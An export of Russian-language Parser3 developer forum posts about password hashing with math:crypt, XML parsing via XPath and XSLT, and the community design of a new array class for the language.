  sha512crypt:   $6$xRSnwDSJcrSvkjhf$vW6OwXX6KOkylAzlygqs/UMBsasOa1m3tW4GUV3zjA/.whpMxI6u.rh.Dw4Yv8Gx2SsQFAxFm2YkI9tW1CrGM1\
  sha256crypt:   $5$xRSnwDSJcrSvkjhf$1d8g.5dWcAdWXU1BGrWYF7DVX4Bl/7oXDcAjJSl8wD/\
  bcrypt:        crypt on this platform does not support '$2b$' salt prefix\
[/code]\
\
На моём линуксе bcrypt'а нет, а вот остальное есть. Так что имеет смысл выбрать что-то более-менее подходящее для ваших систем. Опираться на доку в man 5 crypt не стоит — в тексте упомянуты все распространённые, но что есть конкретно есть в системе надо проверять.\
\
С параметром salt надо буть аккуратным. Парсер на любую ошибку говорит, что алгоритм не поддерживается системой, но ошика может быть в параметрах или размере соли.\
\
\
p.s. Моко, может быть имеет смысл обраотать errno в math:crypt более корректно?"
"86483","Если надо, чтобы работало и под Windows можно использовать например $salt^$^math:digest[sha512;${salt}$password; $.format[base64] ]\
\
P.S. Что касается ошибок ^math:crypt, посмотрю отдельно, что там приходит парсеру."
"86484","Практически у любых алгоритмов в crypt есть настраиваемый «CPU time cost parameter». В простейшем случае — он увеличивает число повторений хеширования.\
\
[code]\
 sha512crypt\
     A hash based on SHA-2 with 512-bit output, originally developed by Ulrich Drepper for GNU libc.  Supported on Linux but not common elsewhere.  Acceptable for new hashes.  The default CPU time cost parameter is 5000, which is too low for modern hardware.\
\
     Prefix\
         \"$6$\"\
\
     Hashed passphrase format\
         \\$6\\$(rounds=[1-9][0-9]+\\$)?[^$:\\n]{1,16}\\$[./0-9A-Za-z]{86}\
\
     Maximum passphrase length\
         unlimited\
\
     Hash size\
         512 bits\
\
     Salt size\
         6 to 96 bits\
\
     CPU time cost parameter\
         1000 to 999,999,999\
[/code]"
"86485","Здравствуйте, почитав треды про \"исторические моменты\", хочу продолжить серию вопросов чисто с точки зрения таких же, как я, любителей IT-легенд, особенно когда можно засвидетельствовать почтение у непосредственно причастных.\
\
Вопрос в сабже, какую семантику несёт киворд \"junction\", что по этим понималось или хотелось понимать? \
\
Моя гипотеза, что по сути надо было как то обозвать \"анонимную функцию\" она же, часто терминологически синоним \"замыкания\", \
\
и вот вместо какого нибудь питоновского \"function\" + \"closure\", родилось \"junction\".\
\
Disclaimer: я не очень близок к ANSI C/Cpp, и возможно это какой то одноименный ходовой киворд из этого домена, но так навскидку из junction только logic/hw-junctions (а ля логические вентили, узловые элементы цепей) встречал."
"86486","https://github.com/artlebedev/parser3/blob/master/src/types/pa_junction.h\
\
У слова junction много значений, в парсере значение ближе к \"место соединения\". Это не обязательно анонимная функция $j{some code}, это может быть и метод конкретного объекта (метод+self), например $j[$o.method] ^j[]."
"86490","Добрый день.\
Стандартная задача: есть XML, который надо разобрать.\
[code]<a>\
	<b>\
		<c>\
			<id>111</id>\
		</c>\
		<c>\
			<id>222</id>\
			<d>\
				<e id=\"333\" />\
				<e id=\"444\" />\
			</d>\
		</c>\
	</b>\
</a>[/code]\
\
Если выбрать xdoc.select[/a/b], то получаем класс hash, из элементов которого уже нельзя вызвать .select[/c или c].\
\
Есть ли какой-нибудь способ обратного преобразования xnode к xdoc, чтобы можно было искать нужный узел, а не перебирать в цикле, или что-то аналогичное select для xnode?\
\
Или как правильно разобрать данный xml, чтобы удобно получать a/b/c, a/b/c/d/e и т.д.?"
"86491","У node тоже есть и select, и selectSingle.\
\
[code]$b[^xml.select[/a/b]]\
$c[^b.0.select[c]]\
nodes found: ^c.count[]\
nodes names: $c.0.nodeName, $c.1.nodeName\
[/code]\
\
Выведет\
\
[code]nodes found: 2\
nodes names: c, c[/code]"
"86492","Данный код выведет:\
[code]	$b[^xml.select[/a/b]]\
	$c[^b.0.select[c]]\
	^for[i](0;^c._count[]-1){\
		$c_id[^c.[$i].select[id]]\
		c.id=$c_id.0.childNodes.0.nodeValue<br />\
		$e[^c.[$i].select[d/e]]\
		^for[j](0;^e._count[]-1){\
			e.id=$e.[$j].attributes.id.nodeValue<br />\
		}\
	}[/code]\
\
[i]c.id=111\
c.id=222\
e.id=333\
e.id=444[/i]\
\
Есть ли способ получать значения через вызов конкретных узлов по ключу, например, [b]$c.[$i].id.nodeValue[/b] по аналогии с атрибутами?"
"86493","С ним надо работать через XPath. Но XPath достаточно гибкий язык запросов, выбирайте что вам нужно и итерируйтесь по результату. Например вот этот код:\
\
[code]$n[^xml.select[//id | //*[@id]]]\
\
^n.foreach[;node]{\
        ^if($node.nodeName eq 'id'){\
            c.id=$node.firstChild.nodeValue<br />\
        }{\
            e.id=$node.attributes.id.nodeValue<br />\
        }\
}[/code]\
\
Тоже выведет \
\
[code]c.id=111\
c.id=222\
e.id=333\
e.id=444[/code]"
"86494","Важно получать данные из текущего узла.\
Например, есть 5 вложенных xnode (id, name, ...), значения которых надо получить.\
\
Как правильнее: крутить потомков и проверять по nodeName или 5 раз сделать select с указанием конкретного ключа?"
"86495","Учитывая, что XPath будет компилироваться, на 5 узлах вероятно будет быстрее перебрать потомков. Но тут надо смотреть на требования к производительности, если узлов не десятки тысяч, едва ли разница будет заметна и оправдает усложнение кода. Ну и повторюсь, XPath это гибкий язык, можно одним запросом достать все вложенные ноды нужных узлов, //c/* например."
"86496","При необходимости сохранить связи в иерархии один запрос не прокатит, поэтому либо перебор потомков, либо select на каждый вложенный узел.\
\
select, на мой взгляд, удобнее.\
Если он создает лишнюю нагрузку на тысячах узлов, в каждом из которых надо взять 5 потомков, то придется крутить цикл.\
\
В теории можно узлы на одном уровне искать через:\
[code]		$x[^c.[$i].select[id | name | description | value]]\
		^x.foreach[;v]{\
			$v.nodeName=$v.childNodes.0.nodeValue<br />\
		}[/code]"
"86497","[code]\
<a>\
	<b>\
		<c>\
			<id>111</id>\
		</c>\
		<c>\
			<id>222</id>\
			<d>\
				<e id=\"333\" />\
				<e id=\"444\" />\
			</d>\
		</c>\
	</b>\
</a>\
[/code]\
 — это какая-то мешанина без разумного формата."
"86498","Это реальный XML, в котором изменены названия ключей.)\
Еще возможен вариант вложенности c в c.\
\
Сейчас беру данные через select, т.к. обращаться к атрибутам и вложенным ключам по названию нельзя."
"86499","[quote]Это реальный XML, в котором изменены названия ключей.)\
Еще возможен вариант вложенности c в c.[/quote]\
\
Похоже на замысел шизофреника.\
\
Так какой хеш нужно получить из этой структуры?"
"86500","Важен был сам разбор с использованием имен узлов и аттрибутов, как в хеше (.id, .name), чего xml не умеет.\
\
В теории можно преобразовать весь xml в хеш, а потом работать с ним.\
В этом случае хеш должен получиться таким (если я ничего не напутал):\
[code]\
$.a[\
	$.0[\
		$.b[\
			$.0[\
				$.c[\
					$.0[\
						$.id[111]\
					]\
					$.1[\
						$.id[222]\
						$.d[\
							$.0[\
								$.e[\
									$.0[\
										$.attributes[\
											$.id[333]\
										]\
									]\
									$.1[\
										$.attributes[\
											$.id[444]\
										]\
									]\
								]\
							]\
						]\
					]\
				]\
			]\
		]\
	]\
]\
[/code]"
"86501","Берём XML, пишем к нему XSLT-шаблон по преобразованию в JSON.\
Можно преобразовывать сразу в парсерный код и делать [i]process[/i], но это небезопасно.\
\
[code]$xml[<a>\
	<b>\
		<c>\
			<id>111</id>\
		</c>\
		<c>\
			<id>222</id>\
			<d>\
				<e id=\"333\"/>\
				<e id=\"444\"/>\
			</d>\
		</c>\
	</b>\
</a>]\
\
$xsl[<?xml version=\"1.0\" encoding=\"utf-8\"?>\
<xsl:stylesheet version=\"1.0\" xmlns:xsl=\"http://www.w3.org/1999/XSL/Transform\">\
	<xsl:strip-space elements=\"*\"/>\
\
	<xsl:template match=\"/\">\
		<xsl:text>[</xsl:text>\
		<xsl:apply-templates/>\
		<xsl:text>]</xsl:text>\
	</xsl:template>\
\
	<xsl:template match=\"node()\">\
		<xsl:text>{</xsl:text>\
			<xsl:value-of select=\"concat('&quot^;name&quot^;: &quot^;', local-name(), '&quot^;')\"/>\
			<xsl:if test=\"@*\">\
				<xsl:text>,</xsl:text>\
				<xsl:text>\"attributes\": {</xsl:text>\
				<xsl:apply-templates select=\"@*\"/>\
				<xsl:text>}</xsl:text>\
			</xsl:if>\
			<xsl:if test=\"node() and not(text())\">\
				<xsl:text>,</xsl:text>\
				<xsl:text>\"children\": [</xsl:text>\
				<xsl:apply-templates/>\
				<xsl:text>]</xsl:text>\
			</xsl:if>\
			<xsl:if test=\"text()\">\
				<xsl:text>,</xsl:text>\
				<xsl:value-of select=\"concat('&quot^;text&quot^;: &quot^;', ., '&quot^;')\"/>\
			</xsl:if>\
		<xsl:text>}</xsl:text>\
		<xsl:if test=\"position() != last()\">\
			<xsl:text>,</xsl:text>\
		</xsl:if>\
	</xsl:template>\
\
	<xsl:template match=\"@*\">\
		<xsl:value-of select=\"concat('&quot^;', name(), '&quot^;: &quot^;', ., '&quot^;')\"/>\
		<xsl:if test=\"position() != last()\">\
			<xsl:text>,</xsl:text>\
		</xsl:if>\
	</xsl:template>\
</xsl:stylesheet>]\
\
$xml[^xdoc::create{$xml}]\
$xsl[^xdoc::create{$xsl}]\
\
$json[^xml.transform[$xsl]]\
$json[^taint[as-is;^json.string[$.method[text]]]]\
[/code]\
\
Получаем:\
[code][\
	{\
		\"children\": [\
			{\
				\"children\": [\
					{\
						\"children\": [\
							{\
								\"name\": \"id\",\
								\"text\": \"111\"\
							}\
						],\
						\"name\": \"c\"\
					},\
					{\
						\"children\": [\
							{\
								\"name\": \"id\",\
								\"text\": \"222\"\
							},\
							{\
								\"children\": [\
									{\
										\"attributes\": {\
											\"id\": \"333\"\
										},\
										\"name\": \"e\"\
									},\
									{\
										\"attributes\": {\
											\"id\": \"444\"\
										},\
										\"name\": \"e\"\
									}\
								],\
								\"name\": \"d\"\
							}\
						],\
						\"name\": \"c\"\
					}\
				],\
				\"name\": \"b\"\
			}\
		],\
		\"name\": \"a\"\
	}\
][/code]\
\
Разбираем:\
[code]$hash[^json:parse[$json]][/code]\
\
Получаем объект в хеше, с которым можно работать:\
[code]{\
	\"0\": {\
		\"name\": \"a\",\
		\"children\": {\
			\"0\": {\
				\"name\": \"b\",\
				\"children\": {\
					\"0\": {\
						\"name\": \"c\",\
						\"children\": {\
							\"0\": {\
								\"name\": \"id\",\
								\"text\": \"111\"\
							}\
						}\
					},\
					\"1\": {\
						\"name\": \"c\",\
						\"children\": {\
							\"0\": {\
								\"name\": \"id\",\
								\"text\": \"222\"\
							},\
							\"1\": {\
								\"name\": \"d\",\
								\"children\": {\
									\"0\": {\
										\"name\": \"e\",\
										\"attributes\": {\
											\"id\": \"333\"\
										}\
									},\
									\"1\": {\
										\"name\": \"e\",\
										\"attributes\": {\
											\"id\": \"444\"\
										}\
									}\
								}\
							}\
						}\
					}\
				}\
			}\
		}\
	}\
}\
[/code]\
\
Но на больших документах с памятью будет беда.\
И исходный документ — говно, особенно в части пересечения узлов и атрибутов с одинаковым смыслом."
"86502","Встроенный тип таблица и хеш с цифровыми ключами в достаточной степени закрывают в Parser 3 задачи, которые обычно решаются массивами.\
\
Но бывает ряд ситуаций, когда отсутствие массива доставляет неудобство. Например при преобразовании в/из json. Да, есть [url=\"https://www.parser.ru/forum/?id=84910\"]обходные варианты[/url], но это уже компромисс. Или например foreach обходит хеш в порядке вставления элементов, а бывает удобно в порядке возрастания ключей.\
\
И тут на помощь приходит он, похожий на хеш разреженный массив. От обычного массива отличается тем, что в нем могут быть неинициализированные элементы, которые методы работы с массивом пропускают. Если например задать $a.5[v5] и $a.2[v2], то перебор элементов покажет v2 и v5, без промежуточных пустых элементов.\
\
Исторически в Парсере новый функционал добавляется с оглядкой на существующий. И с этой точки зрения текущий результат мне вполне нравится. Разреженный массив очень похож на хеш. Все базовые методы хеша, как например foreach, delete, contains, sort, select, count работают понятно и предсказуемо. Все хорошо с совместимостью, название класса уникальное, все методы хеша принимают массив как параметр. При разборе json массивы теперь преобразуются в разреженный массив. Передав опцию $.array[hash] можно вернуть старое поведение, чтобы создавался хеш. При обратном преобразовании в json можно указать $.array[object|array|compact] (сейчас названия как у опции $.table но можно поменять). object выводит с ключами, array с null элементами, а по умолчанию compact выводит массивом только заданные элементы.\
\
В [url=\"/download/nightly/\"]ночных сборках[/url] доступна версия парсера с разреженным массивом (sparse-array). Можно посмотреть, возможно появятся идеи и мнения по вопросам, которые предлагаю обсудить отдельными подтопиками. Пока не финальная версия, скорее наброски. Но в отличии от прошлых подходов к задаче результат нравится, поэтому [url=\"https://github.com/artlebedev/parser3/commit/459f921e56cc31a791d047fe470ae06cde597679\"]закоммитил[/url] основную функциональность. Изменение существенное, поэтому вынес вопрос на широкое обсуждение."
"86503","Сейчас сделано, что массив можно сделать из любого хеша, значения ключей игнорируются, элементы хеша последовательно добавляются в массив. Плюсы: можно сделать массив из любого хеша, [code]$a[^sparse-array::create[ $.a[va] $.b[vb] ]][/code] Получится массив из двух элементов. Минусы: результат работы кода [code]$a[^sparse-array::create[ $.2[v2] $.4[v4] ]][/code] отличается от [code]$a[^sparse-array::create[]] $a.2[v2] $a.4[v4][/code] Можно сделать отдельные конструкторы/методы, например чтобы ^sparse-array::array\
игнорировал ключи, а ^sparse-array::create работал только с цифровыми ключами."
"86504","Сейчас добавлены методы ^a.append[v1;v2;...] и ^a.insert($index)[v1;v2;...]. Обсуждался метод slice для получения фрагмента массива. Какие еще методы нужны (лучше каждый метод в отдельном сообщении) и как они должны себя вести в \"дырках\"?"
"86505","Сейчас реализованы те методы хеша, поведение которых понятно. Но есть ряд методов, по которым нет понимания, как они должны работать. Особенно если делать совместимость с любыми хешами а не только теми, где цифровые ключи. Поэтому необходимость и поведение методов sub, union, intersection, intersects, rename пока под вопросом."
"86506","Сейчас разреженный массив внутри реализован как обычный массив, без оптимизации \"дырок\". Поэтому возникает вопрос, как себе вести если кто-то напишет $a.99999999[значение].\
Делать ли отдельное ограничение числа элементов в массиве? Или например как в случае колонок таблицы использовать $LIMITS.max_loop, число итераций в циклах. Но там по \
умолчанию 20,000. Но вроде как 20,000 сейчас мало. Можно поднять до 100,000. Можно завести отдельный лимит."
"86507","Обсуждался вариант сделать, чтобы конструкция $a[ $.[v1] $.[v2] ] означала инициализацию массива. Насколько это нужно и полезно? Надо понимать, определение хеш или массив возможно только по первому элементу, $a[ $.key[v1] $.[v2] ] будет хеш, а $a[ $.[v1] $.2[v2] ] будет массив."
"86513","Когда-то было [url=https://www.parser.ru/forum/?id=81921]обсуждение[/url] синтаксиса присвоения значений через идущие подряд значения для вычислений по короткой схеме ([i]$var[…;…;…;…][/i], [i]$var[…](…;…)[/i] и тому подобное).\
Олег тогда [url=https://www.parser.ru/forum/?id=81924]предложил оставить конструкцию для массивов[/url].\
Может, пришло время и стоит использовать?"
"86514","[quote]Хотя он и не совсем подходит, если у нам надо создать список из одного элемента. :)[/quote]\
\
Но вот это смущает. :("
"86515","[quote]Но вот это смущает.[/quote]\
\
Ну, для одного элемента будет [i]$var[^sparse-array::create[…]][/i].\
\
Можно, кстати, и конструктор сделать «параметрическим»: [i]$var[^sparse-array::create[…;…;…]][/i].\
\
И принципиально ли указывать разряжённость в имени класса?\
Не стоит ли переименовать [i]sparse-array[/i] в [i]array[/i] для упрощения?"
"86516","[quote]И принципиально ли указывать разряжённость в имени класса?\
Не стоит ли переименовать sparse-array в array для упрощения?[/quote]\
\
Ну я тоже за array (и в C++ коде это array), это Sumo в redmine писал:\
\
[quote]Для имени я бы взял что-то редкое, типа slice, а не array или list.[/quote]\
\
Могу даже сделать, чтобы не выдавалось \"class is already defined\" если в своем коде используется array (свой array и будет работать), то есть обратная совместимость не пострадает..."
"86517","[code]\
# $array(length)[item1;item2;...]\
# Длина может быть пустой и тогда...\
\
$a3[3][a;b;c] — длина задана сразу. Эксепшн, если параметров больше чем length+1, а если меньше, то остаток void'ами заполняем\
$a6[][a;b;c;d;e;f] — массив, длина, которого вычисляется автоматом. Как раз похоже на int[] в других языках\
\
Для пустого массива два варианта\
$a0[^array::create[]]\
$a0[0][]\
[/code]\
\
Причём синтаксис для разреженного не делаем совсем. А делаем пустой масси и заполняем:\
[code]\
  $a[^array::create[]]\
  $a.4[val5] - длина 5\
  $a.15[val16] — длина 16\
\
Я бы вообще разреженный не делал. Если уж длина после присвоения 16, то и считаем, что пустые ячейки void. Если кому-то надо перебрать только существующие длементы, то:\
^a.foreach[v]{^if(!($v is void){$v}}[,]\
\
[/code]\
\
p.s. Выпал на неделю из форума, а тут такая могучая тема :)"
"86519","[code]\
$a[][a;b;c;d]\
$a.[][e;f;g] — append в конец\
$a.[3][k;l;m] — insert перед d\
\
Слайс оставляем методом:\
^a.slice(0;5;2)\
[/code]"
"86520","Как для 3.2 сделали, когда свойства в классы добавили."
"86521","...т.е. будет ли слайс видеть изменения в родителе. Наверное, в Парсере лучше сделать копию."
"86522","Если финальная длина заранее известна, это еще и эффективнее работать будет.\
\
А вот про разреженность не согласен, похожесть на хеш это хорошая и удобная фича. Можно сделать что если без имени для key, ^a.foreach[v]{}, то перебираются все элементы, если кому нужны промежуточные void. А вообще void может быть и в инициализированном элементе."
"86523","Иначе придется все сильно усложнять с не совсем понятными бонусами.\
Основная память все равно уходит не на массив указателей, а на то куда они ведут."
"86524","В отличии от $a[;a;b;c]. Причем не исключаю, что $a[что-то][что-то] попадается и в реальном коде. Если разрешить только $a(N)[что-то] вероятность несовместимости будет меньше, как и если разрешить для задания элементов только [], без () и {}. Ну и поскольку это компиляция, расширенный синтаксис можно будет сделать выключаемой опцией."
"86525","Это же присвоение, даже если внутри можно будет понять, куда пойдет результат (в чем не уверен), выглядит это странно. Другое дело, что первый параметр можно использовать по разному. Например сделать slice не методом, а синтаксической конструкцией, $b[$a](3;5). Но потенциальных несовместимостей будет больше."
"86527","https://www.parser.ru/forum/?id=66020\
\
[code]\
$list[ \
    $:[element 0] \
    $:[element 1]\
    $:[element 2]\
    $:[element 3]\
  ]\
\
  ($list) # кол-во элементов списка\
\
  $list.0, $list.1 # получение элемента\
  $list.(-1) # последний элемент\
  $list.[-1:1:2] # срез\
  $list.[:2] # еще один срез\
\
  ^list.append[$list2] # складываем списки\
  ^list.insert(3)[$list2] # вставляем список в позицию 3\
\
  ^list.foreach[v]{\
#   здесь $v текущий элемент списка\
  }\
[/code]\
\
Вероятно $: более совместимое с существующим кодом. Остальное я тогда срисовал с Питона :)"
"86528","Есть мнение, что если это действительно будет «3.5» или рядом (с несовместимыми изменениями), то конфликт с пользовательским [i]array[/i] не только нормален, но и полезен — если есть нативная реализация массива, следует использовать её вместо самописных решений, имя которым — легион.\
\
В целом же, лично я скучаю по временам, когда нативные классы можно было переопределять и дополнять.\
Насколько помню, убирали эту возможность под эгидой избавления от неясностей «где что переопределено».\
Но считаю, что это дело программиста и его же проблема при бездумной использовании, а сама возможность очень мощная.\
\
Быть может,  история сделает цикл и такая возможность когда-нибудь вернётся.\
Тогда подобного рода конфликты можно будет разрешить чуть более элегантно — самостоятельно расширив нативный класс недостающими методами."
"86529","[quote]Насколько помню, убирали эту возможность под эгидой избавления от неясностей «где что переопределено».[/quote]\
\
А мне кажется, что наследование убирали потому, что там шаг влево/шаг вправо был GPF ну и на новую реализацию классов это плохо ложилось, не давало оптимизировать.\
\
[quote]Тогда подобного рода конфликты можно будет разрешить чуть более элегантно — самостоятельно расширив нативный класс недостающими методами.[/quote]\
\
Есть #839, правда не помню, что конкретно там надо унифицировать, посмотрю. И судя по комментарию, системные классы нельзя расширять аж с 2002 года. :)\
\
Что касается исключений, то как человек, часто обновляющий парсер на проектах - я все-таки за максимальную совместимость. Мне будет куда спокойней если буду знать, что совместимость либо есть, либо ее можно включить отдельной опцией и не переживать, что вдруг в каком-то подразделе окажется класс array."
"86530","Ну или отдельным методом, например ^reflection:class_alias[имя;новое имя]. Может еще для каких случаев пригодится..."
"86531","Понятно, что сейчас несложно сделать руками:\
[code]\
@main[]\
  $o[^Alias::create[]]\
  ^o.method[]\
\
\
@CLASS\
Class\
\
@create[]\
\
@method[]\
  Class method\
\
\
\
@CLASS\
Alias\
\
@BASE\
Class\
[/code]\
\
Но может кому и пригодится алиас."
"86532","... лучше не метод, а чтобы сработало:\
[code]\
@main[]\
  $Alias[$Class]\
  $o[^Alias::create[]]\
  ^o.method[]\
\
\
@CLASS\
Class\
\
@create[]\
\
@method[]\
  Class method\
[/code]\
\
Тогда можно будет вообще любые имена локальные делать и классами методы параметризировать. :)"
"86533","Парсер прекрасен обратной совместимостью и позволяет спокойно жить на HEAD-версии. За всё время мы сломали буквально несколько тонких моментов, которые даже в сложных библиотеках не каждый раз стреляли."
"86535","[quote]$Alias[$Class][/quote]\
\
\
$Class - такая конструкция не ищет среди классов, и добавлять поиск нельзя, может сломаться код, в котором переменные называются как классы ^if(def $hash){}..."
"86536","[quote]Есть #839, правда не помню, что конкретно там надо унифицировать, посмотрю. И судя по комментарию, системные классы нельзя расширять аж с 2002 года.[/quote]\
\
Частично точно было после 2006-го.\
\
[quote]Что касается исключений, то как человек, часто обновляющий парсер на проектах - я все-таки за максимальную совместимость. Мне будет куда спокойней если буду знать, что совместимость либо есть, либо ее можно включить отдельной опцией и не переживать, что вдруг в каком-то подразделе окажется класс array.[/quote]\
\
Думаю, раз в несколько лет (при таких изменениях в Парсере) сделать поиск зарезервированного имени класса по файлам проекта на сервере или в репозитории несложно, зато можно сэкономить сотни человекочасов на написании [i]sparse-[/i]."
"86537","Если вылезет несовместимость, которая трудно лечится, то добавлять метод"
"86540","- имя класса array\
\
- добавлен метод ^reflection:class_alias[existing class name;alias class name]\
\
- не выдается \"class is already defined\" если в коде используется свой класс array\
\
\
... переключился на $var[...;...;...]"
"86541","Учитывая что пока реализаций под новый массив не так много и текущие хеши и таблицы покрывают большую часть потребностей, не вижу проблемы в невозможности объявления массива с одним значением. Потому что, по сути, массив с одним элементом — это и есть обычная переменная, только с более хитровывернутым обращением."
"86542","Не с первой попытки, но [url=\"https://github.com/artlebedev/parser3/commit/0dfd1381ae4b24d307b70905c1e7d8e0a175b60a\"]получилось[/url] относительно аккуратно и без потери производительности как компиляции так и исполнения реализовать $array[v0;v1;v2]. \
\
Сделал именно так, что $array[v0;v1;v2] создаст массив из элементов v0,v1,v2, учитывая и такое мнение:\
\
[code]не вижу проблемы в невозможности объявления массива с одним значением.[/code]\
\
и что синтаксис $array[;v0;v1;...] не даст объявить пустой массив, и что едва ли нужно часто определять массив с одним значением, и что реализованный вариант более интуитивно понятен. Но это обсуждаемо, поменять то, как используются заданные значения уже проще.\
\
В плюсах реализованного варианта то, что нет никаких проблем с обратной совместимостью и вносить ее ради возможности задать например $array[v0](10){code} пока не вижу.\
И раз уже есть один вариант инициализации массива, необходимость делать еще и $array[ $.[v0] $.[v1] ] вызывает сомнения - наверняка будут накладные расходы.\
\
Осталось решить вопрос подтопика \"больше массив или хеш\". Пока склоняюсь к тому, чтобы сделать отдельные конструкторы, чтобы при инициализации из хеша ^array::array игнорировал ключи, а ^array::create работал только с цифровыми ключами и выдавал исключение в противном случае."
"86543","Есть сомнения, стоит ли делать ^a.append[v1;v2;...] и ^a.insert($index)[v1;v2;...]. Возможно логичнее разрешить только одно значение, но поддержать чтобы в нем был массив (и хеш?) и добавлять его элементы. В реализованном сейчас варианте ^a.append[$another-array] добавит в массив элемент-массив, что не очень интуитивно. Ну или сделать, что если в любом параметре массив, то добавлять его содержимое, то есть ^a.append[$array1;$value;$array2] добавит в массив элементы $array1, потом $value, потом элементы $array2..."
"86544","Как будто в продолжении истории с $var[v1;v2;v3] append и insert c множеством выглядит логично.\
\
[quote]Ну или сделать, что если в любом параметре массив, то добавлять его содержимое[/quote]\
\
Если подразумевается разворачивать содержимое массива, то мы теряем вложенные массивы. Опять же, пока трудно представить зачем они могут быть нужны, если до этого столько лет обходились.\
\
Определенно точно нужно будет проверку на тип массив [code]^if($a is \"array\"){...}[/code]"
"86545","[quote]то мы теряем вложенные массивы[/quote]\
\
$arr.1[$another-array] - вот так можно задать вложенный массив. Ну и $arr[;$another-array] сейчас тоже создает вложенный массив, а не копирует элементы из $another-array в $arr. Но это можно поменять, синхронизировав с поведением ^arr.add[;$another-array]. Вопрос как правильно. :) Возможность добавить к массиву элементы другого массива явно нужна. Можно завести отдельные методы, типа add и add-array, но как-то это коряво.\
\
[quote]^if($a is \"array\"){...}[/quote]\
\
Это понятно уже работает."
"86546","Есть мнение, что [i]append[/i] должен добавлять «как есть»: если в аргументах массивы — значит станут подмассивами массива-акцептора.\
\
А отдельный метод [i]join[/i] — сливать.\
\
[code]$one[1;2]\
$two[3;4]\
$three[4;6]\
\
^one.append[$two;$three]\
# [1, 2, [3, 4], [5, 6]]\
\
^one.join[$two;$three]\
# [1, 2, 3, 4, 5, 6][/code]"
"86548","Для совместимости с хешом, и add с одним параметром. Как и create, add поддерживает и массив, и хеш с числовыми ключами (добавление идет по ключам), и произвольный хеш (добавление в конец)."
"86549","Добавил ^array.foreach[value]{code}, который перебирает в том числе и дырки (в них $value=void), но возможно стоит назвать этот вариант иначе - for или forany и сделать чтобы и key там тоже опционально был. Иначе непонятно, зачем нужны эти промежуточные void..."
"86550","Я ориентировался на метод таблицы.\
По-моему, [i]join[/i] гораздо ближе к производимой операции.\
Но — да, у хеша есть [i]add[/i], делающий то же."
"86552","add сейчас добавляет as-is (с дырками), а join можно сделать чтобы был с опциями как у table и убирал \"дырки\" (если они конечно есть).\
\
Не знаю правда, надо ли поддерживать у join hash, или достаточно массива."
"86553","Я бы сразу ориентировался на [i]^array.foreach[index;value]{code;separator}[/i] — будет одинаковый интерфейс с хешем и таблицей, всегда будет доступен индекс.\
\
Написать, при необходимости, [i]^array.foreach[;value]{$value}[/i] — совсем не сложно."
"86554","Что касается хеша, то сейчас мне кажется, что логичнее в ^array.add и ^array::create всегда требовать хеш с цифровыми ключами (и будет создаваться \"дырявый\" массив). А вот ^array.join чтобы всегда добавлял только значения. То есть на примере:\
\
[code]# \"дырявый\" массив\
$a[^array::create[ $.1[1] $.5[2] $.9[3] ]]\
\
b дырявый массив: $b[^array::create[$a]]\
^json:string[$b; $.array[object] ]\
\
b обычный массив: $b[^array::create[]] ^b.join[$a]\
^json:string[$b; $.array[object] ]\
\
и если параметр хеш:\
\
$b[^array::create[ $.2[a] ]]\
\
перезапись значения: ^b.add[ $.2[b]]\
^json:string[$b; $.array[object] ]\
\
добавление значения: ^b.join[ $.2[c] ]\
^json:string[$b; $.array[object] ]\
[/code]\
\
будет такой результат:\
\
[code]b дырявый массив: \
{\
\"1\":\"1\",\
\"5\":\"2\",\
\"9\":\"3\"\
}\
\
b обычный массив:  \
{\
\"0\":\"1\",\
\"1\":\"2\",\
\"2\":\"3\"\
}\
\
и если параметр хеш:\
\
\
перезапись значения: \
{\
\"2\":\"b\"\
}\
\
добавление значения:\
{\
\"2\":\"b\",\
\"3\":\"c\"\
}\
[/code]"
"86555","Но он пропускает дырки и Sumo попросил еще вариант, чтобы ходил и по дыркам. Я его сделал, он доступен как ^array.foreach[value]{code;separator}, но мне кажется логичнее сделать отдельным методом и тоже с index, ^array.forall[index;value]{code;separator} или ^array.forany[index;value]{code;separator} или ^array.for[index;value]{code;separator}. Возможно логичнее просто for, поскольку for и должен перебирать все значения индекса."
"86556","Чтобы не забывать вычесть единичку:\
[code]\
^for[i](0;$arr-1){\
  $i - $arr.[$i]\
}[——-]\
\
^arr.for[i;v]{\
  $i - $v\
}[——-]\
[/code]\
\
Для фора обязательно нужен счетчик элементов. По опыту, регулярно приходится его заводить когда делаешь иммитацию массива хешом.\
\
Только надо не забыть запретить отрицательные индексы в массиве, чтобы обычный for работал всега ожидаемо. :)"
"86557","Собственно, сабж.\
По прошествию лет, очень интересно рассмотреть существенна ли разница в производительности (померить скорость и затратность по памяти) на каких то типовых операциях\
\
я помню делал такое сравнение в стародавние времена 2000х и простой цикл с выводом на экран из Python2 и Parser не давал особой разницы, \
\
тогда было принято ругать Python за прожорливость и за это он был моветоном для веба (много питонов на запрос пугало админов на уровне идеи) \
\
Наблюдая за тем, как в 2024 появляется \"array\", подспудно роятся мысли: что есть какой-то реально существенный выигрыш из-за которого проект (Parser) десятилетиями хранит \"девственность\" то не давая удалять строки из table, то вот являя array _внезапно_ \
\
/ понятно, что реальность будет скорее из-за разряда: \"нам не надо было, мы не делали, проект из/для Студии в первую очередь:), но... /\
\
...хочется больше спекулятивной дискуссии, какие есть аргументы в 2024 (кроме, как обслуживать легаси), делать что-то на Parser3 под веб, вместо Python 3.12,\
\
где гибкость базовых структур такая, что проблем с вывертами на банальных операциях удаления, вставки, разворачивания с ними - не возникает."
"86558","Но можно поменять название, если что. И заодно поменял умолчание для $MAIN:LIMITS.max_loop c 20,000 до 100,000.\
\
Note: критерий здесь \"чтобы не тормозило\". Обращение к миллионному элементу массива это только память, а вот если сделать не пустой цикл до миллиона - летать не будет."
"86560","Вопросы одного плана. Мир разнообразен, и в этом можно найти множество плюсов. Можно много с чем поспорить в сообщении, но не вижу смысла. Скажу лишь, чем лично мне не нравится Python: постоянные сложности с версиями и зависимостями. В последних проектах мы используем его в Docker, иначе перенос развернутого проекта с одного сервера на другой или обновление OS на сервере превращается в «mission impossible»."
"86561","Эти методы пропускают дырки. Если надо, можно сделать отдельную версию, которая сохраняет дырки, вопрос только делать ли это опцией (какой?) или как-то иначе назвать (как?)\
Кроме того, сделал ^a[^array::new[element]] - это синоним append, чтобы можно было создать массив из одного элемента. ^a[one;two] даст минимум два. Или может есть альтернативные предложения?"
"86562","Я, может, глупый вопрос задам, но что дают дырки на практике?\
Не могу сходу припомнить практического применения разрежённого массива.\
\
Так ли нужны дырочно-бездырочные пары методов?\
Если дырки редко применимы — методы им не нужны: программист всё сделает сам.\
Если часты — под вопросом бездырочные методы."
"86563","В этом случае оба варианта методов ведут себя одинаково. :)\
\
